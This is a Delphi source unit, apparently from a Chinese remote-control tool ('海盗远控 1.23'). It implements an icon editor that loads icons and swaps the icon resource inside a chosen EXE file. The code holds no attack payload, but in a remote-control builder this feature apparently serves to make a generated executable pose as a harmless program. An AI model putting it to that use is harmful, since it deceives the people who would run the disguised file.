exetoolunit.pas

海盗远控1.23源代码

unit ExeToolUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, LangFrm,
  Dialogs, DynamicSkinForm, StdCtrls, SkinCtrls, Mask, SkinBoxCtrls,IconLibrary,
  Icontypes,IconTools,unitExIcon ,unitPEFile,unitResourceDetails,unitResourceGraphics,
  ExtCtrls;

type
  TExetool = class(TLangForm)
    OpenDialog1: TOpenDialog;
    OpenDialog2: TOpenDialog;
    OpenDialog3: TOpenDialog;
    SaveDialog1: TSaveDialog;
    DSF: TspDynamicSkinForm;
    spSkinPanel1: TspSkinPanel;
    spSkinStdLabel1: TspSkinStdLabel;
    IconlistBox: TListBox;
    spSkinPanel2: TspSkinPanel;
    spSkinStdLabel2: TspSkinStdLabel;
    spSkinStdLabel3: TspSkinStdLabel;
    Image1: TImage;
    spSkinPanel3: TspSkinPanel;
    spSkinPanel4: TspSkinPanel;
    spSkinStdLabel4: TspSkinStdLabel;
    IconInfo: TListBox;
    spSkinPanel5: TspSkinPanel;
    spSkinStdLabel5: TspSkinStdLabel;
    LibraryIcons: TListBox;
    spSkinButton1: TspSkinButton;
    spSkinButton2: TspSkinButton;
    spSkinButton3: TspSkinButton;
    spSkinButton4: TspSkinButton;
    FilenameEdit1: TspSkinEdit;
    ZhuangTai: TspSkinLabel;
    procedure FilenameEdit1ButtonClick(Sender: TObject);
    procedure IconlistBoxClick(Sender: TObject);
    procedure IconlistBoxDrawItem(Control: TWinControl; Index: Integer;
      Rect: TRect; State: TOwnerDrawState);
    procedure spSkinButton2Click(Sender: TObject);
    procedure spSkinButton1Click(Sender: TObject);
    procedure spSkinButton3Click(Sender: TObject);
    procedure spSkinButton4Click(Sender: TObject);
    procedure LibraryIconsClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    Ico : TMultiIcon;
    ICL : TIconLibrary;
    procedure LibraryLoaded;
    procedure IconLoaded;
    procedure ListIcons;
    procedure FreeIco;
    function ChangeExeIcon(const BinFileName:Pchar):BOOL;
  end;

var
  Exetool: TExetool;

implementation

uses main;

{$R *.dfm}

procedure TExeTool.FreeIco;
begin
  IF Assigned(Ico) Then Ico.Free;
  Ico:=nil;
end;

procedure TExeTool.IconLoaded;
begin
//  IconIndex.MaxValue:=Ico.IconCount;
//  IconIndex.Enabled:=(Ico.IconCount>1);
//  IF Ico.IconValid Then IconIndex.Value:=1 else
//    IconIndex.Value:=0;
  ListIcons;
end;

procedure TExeTool.ListIcons;
Var
  I : Integer;
  H : Integer;
begin
  IconListBox.Items.Clear;
  IconListBox.Items.BeginUpdate;
  H:=0;
  FOR I:=1 TO Ico.IconCount DO begin
    IconListBox.Items.Add(InttoStr(I));
    With Ico.IconResInfo[I-1] DO begin
      IF Height>H Then H:=Height;
      IF Width>H  Then H:=Width;
    end;
  end;
  IconListBox.ItemHeight:=H;
  IconListBox.Items.EndUpdate;
  IF IconListBox.Items.Count>0 Then IconListBox.ItemIndex:=0;
  IconInfo.Enabled:=(IconListBox.Items.Count>0)
end;

procedure TExeTool.LibraryLoaded;
var
Index : Integer;
begin
  IF Assigned(ICL) Then begin
    LibraryIcons.Items.Assign(ICL.Icons);
    IF LibraryIcons.Items.Count>0 Then begin
      LibraryIcons.ItemIndex:=0;
      Index:=LibraryIcons.ItemIndex;
      IF (Index<0) OR (Index>=ICL.Icons.Count) Then exit;
      Ico:=TMultiIcon(ICL.Icons.Objects[Index]);
      IconLoaded;
    end;
  end;
end;


procedure TExetool.FilenameEdit1ButtonClick(Sender: TObject);
Var
  NewICL : TIconLibrary;
begin
try
  IF OpenDialog3.Execute Then begin
    FilenameEdit1.Text:=OpenDialog3.Filename;
    NewICL:=TIconLibrary.Create;
    NewICL.LoadFromFile(OpenDialog3.Filename);
    IF NewICL.Icons.Count>0 Then begin
      IF Assigned(ICL) Then ICL.Free;
      ICL:=nil;
      ICL:=NewICL;
      LibraryLoaded;
    end;
  end;
  IconListBox.ItemIndex:=0;
  IconListBoxClick(nil);
except
end;
end;

procedure TExetool.IconlistBoxClick(Sender: TObject);
const
  Co : ARRAY[1..7] OF String =
  ('SubIconnumber: %d','Width: %d','Height: %d',
   'ColorCount: %d','Planes: %d','BitCount: %d',
   'Size in bytes: %d');

Var
  Header : TIconResInfo;
  C : Cardinal;
  H : TIcon;
begin
  Header:=Ico.IconResInfo[IconListBox.ItemIndex];
  IconInfo.Items.Beginupdate;
  try
    IF Header.BitCount>0 Then
      C:=2 shl (Header.BitCount-1)
    else C:=Header.ColorCount;
    IconInfo.Items.Clear;
    IconInfo.Items.Add(Format(Co[1],[IconListBox.ItemIndex+1]));
    IconInfo.Items.Add(Format(Co[2],[Header.Width]));
    IconInfo.Items.Add(Format(Co[3],[Header.Height]));
    IconInfo.Items.Add(Format(Co[4],[Header.ColorCount]));
    IconInfo.Items.Add(Format(Co[5],[Header.Planes]));
    IconInfo.Items.Add(Format(Co[6],[Header.BitCount]));
    IconInfo.Items.Add(Format(Co[7],[Header.BytesInRes]));

    IconInfo.Items.Add(Format('Colors: %d',[C]));
  finally
    IconInfo.Items.EndUpdate;
  end;

  H:=Ico.Icon[IconListBox.ItemIndex];
  Image1.Picture.Icon:=H;
  
end;

procedure TExetool.IconlistBoxDrawItem(Control: TWinControl;
  Index: Integer; Rect: TRect; State: TOwnerDrawState);
Var
  H : Integer;
  S : String;
  P : TSize;
begin
  IF NOT Assigned(Ico) Then exit;
  With TListBox(Control) DO begin
    H:=ItemHeight;
    With Canvas DO begin
      With Ico.IconResInfo[Index] DO begin
        FillRect(Rect);
        IF rect.Left=0 Then Ico.Draw(Canvas,Rect.Left+((H-Width)DIV 2),Rect.Top+((H-Height)DIV 2),Index);
        S:=(Control as TListBox).Items[Index];
        P:=TextExtent(S);
        TextOut(Rect.Left + H+7, Rect.Top+((H-P.cy) DIV 2),S);
//        IF (odSelected in State) Then InvertRect(Canvas.Handle,Classes.Rect(Rect.Left+H+2,Rect.Top,Rect.Right,Rect.Bottom) );
      end;
    end;
  end;
end;

//保存图标
procedure TExetool.spSkinButton2Click(Sender: TObject);
begin
  IF SaveDialog1.Execute Then begin
    Ico.SaveToFile(SaveDialog1.Filename);
  end;
end;

procedure TExetool.spSkinButton1Click(Sender: TObject);
begin
if ChangeExeIcon(Pchar(FilenameEdit1.text)) then
  begin
    MessageBox(0,Pchar('修改图标成功!请检查EXE能否正确运行!'),Pchar('提醒'),MB_OK+MB_ICONINFORMATION);
  end else begin
    ZhuangTai.caption:='修改图标失败!';
  end;
end;

function TExeTool.ChangeExeIcon(const BinFileName:Pchar):BOOL;
{临时文件夹路径}
function Temppath :string;
var
  tmpdir:array [0..255] of char;
begin
  GetTempPath(255,@tmpdir);
  Result :=StrPas(Tmpdir);
  if copy(Result,Length(Result),1)<>'\' then
  Result:=Result+'\';
end;
var
StrIconName:String;
bHasIcon:Boolean;
fResourceModule : TPEResourceModule;
ResourceDetailsClass : TResourcedetailsClass;
res : TResourceDetails;
i,j:integer;
begin
try
 Result:=False;
 fResourceModule := TPEResourceModule.Create;
 fResourceModule.LoadFromFile (BinFileName);
 i:= fResourceModule.ResourceCount;
 if i<1 then
 begin
 fResourceModule.Free;
 Exit;
 end;
  bHasIcon:=False;
 for j:=0 to i-1 do if fResourceModule.ResourceDetails[j].ResourceType=IntToStr (Integer(RT_GROUP_ICON)) then
 begin
 bHasIcon:=True;
 StrIconName:=fResourceModule.ResourceDetails[j].ResourceName;
 fResourceModule.DeleteResource(j);
 break;
 end;
 if not(bHasIcon) then
 begin
   for j:=0 to i-1 do if fResourceModule.ResourceDetails[j].ResourceType=IntToStr (Integer(RT_ICON)) then
 begin
 bHasIcon:=True;
 StrIconName:=fResourceModule.ResourceDetails[j].ResourceName;
 fResourceModule.DeleteResource(j);
 break;
 end;
 end;
 if not(bHasIcon) then
 begin
 fResourceModule.Free;
 Exit;
 end;
 ResourceDetailsClass := TIconGroupResourceDetails;
 res := ResourceDetailsClass.CreateNew(fResourceModule, 0,StrIconName);
 res.Dirty := True;
 Ico.SaveToFile(TempPath + 'TmpIcohgz.ico');
 TIconGroupResourceDetails(res).LoadImage(TempPath + 'TmpIcohgz.ico');
 DeleteFile(TempPath + 'TmpIcohgz.ico');
 fResourceModule.SaveToFile(BinFileName);
 fResourceModule.Free;
 Result:=True;
except
end;
end;




procedure TExetool.spSkinButton3Click(Sender: TObject);
Var
  I : TMultiIcon;
begin
  try
    if OpenDialog1.Execute Then begin
    LibraryIcons.Clear;
    I:=TFileIcon.Create(OpenDialog1.Filename);
    if I.IconValid Then
    begin
      FreeIco;
      Ico:=I;
      IconLoaded;
    end else
    begin
      I.Free;
      ShowMessage('读取图标出错!');
      Exit;
    end;
    end;
  except
  end;

end;

procedure TExetool.spSkinButton4Click(Sender: TObject);
Var
  NewICL : TIconLibrary;
begin
try
  IF OpenDialog2.Execute Then begin
    LibraryIcons.Clear;
    NewICL:=TIconLibrary.Create;
    NewICL.LoadFromFile(OpenDialog2.Filename);
    IF NewICL.Icons.Count>0 Then begin
      IF Assigned(ICL) Then ICL.Free;
      ICL:=nil;
      ICL:=NewICL;
      LibraryLoaded;
    end;
  end;
  IconListBox.ItemIndex:=0;
  IconListBoxClick(nil);
except
end;
end;

procedure TExetool.LibraryIconsClick(Sender: TObject);
Var
  Index : Integer;
begin
try
  Index:=LibraryIcons.ItemIndex;
  IF (Index<0) OR (Index>=ICL.Icons.Count) Then exit;
  Ico:=TMultiIcon(ICL.Icons.Objects[Index]);
  IconLoaded;
except
end;
end;

end.